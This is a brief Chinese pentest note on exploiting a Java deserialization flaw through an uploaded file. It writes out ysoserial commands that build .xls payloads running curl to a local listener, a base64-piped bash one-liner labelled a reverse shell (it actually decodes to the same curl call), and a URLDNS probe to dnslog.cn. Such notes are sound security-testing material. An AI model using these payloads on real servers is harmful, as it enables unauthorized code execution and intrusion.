某次对业务进行审计发现存在一处反序列化漏洞(该漏洞形成的原因是会对上传文件引擎进行解析)
省去敏感部分,只记录一下过程。
可以直接通过github下载ysoserial-0.0.7-SNAPSHOT-all.jar
ysoserial-0.0.7-SNAPSHOT-all.jar支持多个生成payload的选项
具体适配哪个payload,还需要查看源码(如果有的情况下,没有源码的情况下只能逐个去尝试)
例如:
对应的是:
commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
这块可以通过配置找到:(一般在pom.xml或者libraries.gradle文件配置里)
生成payload文件命令语法
java -jar ysoserial-0.0.7-SNAPSHOT-all.jar CommonsBeanutils1 “curl http://127.0.0.1:4444” > java.xls
生成反弹shell命令
一般要base64编码,也可以直接通过这个网站生成:https://www.sqlsec.com/tools.html
java -jar ysoserial-0.0.7-SNAPSHOT-all.jar CommonsBeanutils1 “bash -c {echo,Y3VybCBodHRwOi8vMTI3LjAuMC4xOjQ0NDQ=}|{base64,-d}|{bash,-i}” > javatest.xls
最后将对应生成带反序列化payload的文件上传到服务器就可以完成利用。
如果仅仅想判断漏洞存在而不利用,不考虑引入包的情况,也可以使用:URLDNS
java -jar ysoserial-0.0.7-SNAPSHOT-all.jar URLDNS “http://dnslog.cn” > java.xls
采坑记录:powershell生成的payload可能因为单双引号等问题,会不成功,推荐通过cmd来生成。